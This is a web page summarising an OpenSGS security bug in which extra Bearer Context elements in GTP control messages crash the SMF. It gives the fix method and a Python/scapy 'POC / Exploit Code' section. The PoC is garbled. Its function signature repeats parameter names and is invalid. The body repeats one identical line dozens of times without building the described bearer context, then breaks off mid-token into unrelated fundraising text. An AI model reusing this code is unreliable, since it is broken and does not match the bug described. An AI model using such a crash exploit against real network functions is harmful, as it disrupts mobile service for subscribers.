OpenSGS SMF Crash via Missing Bearer Context Validation (CVE-style hardening patch)

OpenSGS Vulnerability Summary Vulnerability Overview Title: [Bug]: SMF Crash Triggered by Adding an Extra Bearer Context ID: #4278 Status: Closed Type: Security Summary: When the SMF processes a GTP control message containing an extra (unexpected) Bearer Context, the SMF enters an unexpected state and triggers a service crash due to a lack of validation on the number and structure of Bearer Context Information Elements (IEs). Scope of Impact Affected Component: SMF (Session Management Function) Trigger Condition: GTP control messages carrying extra or unexpected Bearer Contexts Consequence: SMF crash (service interruption) Fix Fix Commit: Fix Method: Hardened TLV parsing logic and validated Bearer Contexts in CSN to reject malformed or unexpected Bearer Contexts, thereby preventing the crash. POC / Exploit Code ```python from scapy.layers.inet import IP, UDP from scapy.contrib.gtp_v2 import * def construct_create_session_request(apn='apn', ip='172.22.0.7', sgwu_ip='172.22.0.7', sgwu_port=2123, apn='apn', sgwu_ip='172.22.0.7', sgwu_port=2123): create_session_request = IE_AP_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, value=0x01) create_session_request += IE_APN_Restriction(length=1, va

Goal Reached Thanks to every supporter — we hit 100%!

OpenSGS SMF Crash via Missing Bearer Context Validation (CVE-style hardening patch)

More from this source